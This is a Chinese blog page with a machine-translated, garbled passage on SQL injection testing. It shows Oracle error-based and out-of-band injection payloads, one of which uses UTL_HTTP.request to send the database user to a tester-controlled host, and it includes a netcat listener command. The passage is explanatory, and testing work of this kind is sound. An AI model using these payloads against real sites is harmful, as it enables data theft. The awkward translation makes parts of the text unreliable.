首页 » 网站建设 » phptester技巧_SQL注入测试124开拓技能基于缺点的开拓技能带外开拓技能

phptester技巧_SQL注入测试124开拓技能基于缺点的开拓技能带外开拓技能

访客 2024-11-13 0

扫一扫用手机浏览

文章目录 [+]

考虑下面的SQL查询:

SELECT FROM products WHERE id_product = $ id_product

请考虑对实行上述查询的脚本的要求:

phptester技巧_SQL注入测试124开拓技能基于缺点的开拓技能带外开拓技能

http://www.example.com/product.php?id=10

恶意要求将是(例如Oracle 10g):

phptester技巧_SQL注入测试124开拓技能基于缺点的开拓技能带外开拓技能
(图片来自网络侵删)

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME(((SELECT USER FROM DUAL)) -

在此示例中,测试职员将值10与函数UTL_INADDR.GET_HOST_NAME的结果连接起来。
这个Oracle函数会考试测验返回通报给它的参数的主机名,这是另一个查询,即用户的名字。
当数据库利用用户数据库名称查找主机名时,它将失落败并返回如下缺点:

ORA-292257: host SCOTT unknown

然后,测试职员可以操纵通报给GET_HOST_NAME()函数的参数,并将结果显示在缺点中。

带外开拓技能

当测试职员创造Blind SQL Injection情形时,这种技能非常有用,在这种情形下,操作结果中什么都不知道。
该技能包括利用DBMS功能实行带外连接,并将注入查询的结果作为要求的一部分供应给测试职员的做事器。
像基于缺点的技能一样,每个DBMS都有自己的功能。
检讨特定的DBMS部分。

考虑下面的SQL查询:

SELECT FROM products WHERE id_product = $ id_product

请考虑对实行上述查询的脚本的要求:

http://www.example.com/product.php?id=10

恶意要求将是:

http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELECT user FROM DUAL) -

在本例中,测试职员将值10与函数UTL_HTTP.request的结果连接起来。
此Oracle函数将考试测验连接到'testerserver',并发出一个包含查询“SELECT user FROM DUAL”的返回结果的HTTP GET要求。
测试职员可以设置一个网络做事器(例如Apache)或利用Netcat工具:

/home/tester/nc –nLp 80GET /SCOTT HTTP/1.1Host: testerserver.comConnection: close

标签:

相关文章

PHP实现文字转图片的代码与应用

图片处理技术在各个领域得到了广泛应用。在PHP编程中,文字转图片功能同样具有很高的实用价值。本文将针对PHP实现文字转图片的代码进...

网站建设 2025-03-02 阅读1 评论0

NAN0017探索新型纳米材料的奥秘与应用

纳米技术作为一门新兴的交叉学科,近年来在材料科学、生物医学、电子工程等领域取得了举世瞩目的成果。其中,NAN0017作为一种新型纳...

网站建设 2025-03-02 阅读3 评论0

L26368XO代码其背后的创新与突破

编程语言在各个领域发挥着越来越重要的作用。在众多编程语言中,L26368XO代码以其独特的优势,成为了业界关注的焦点。本文将深入剖...

网站建设 2025-03-02 阅读1 评论0

HTML字体背景打造个化网页设计的关键元素

网页设计已经成为现代网络传播的重要手段。在众多网页设计元素中,字体和背景的搭配尤为关键。本文将从HTML字体背景设置的角度,探讨其...

网站建设 2025-03-02 阅读1 评论0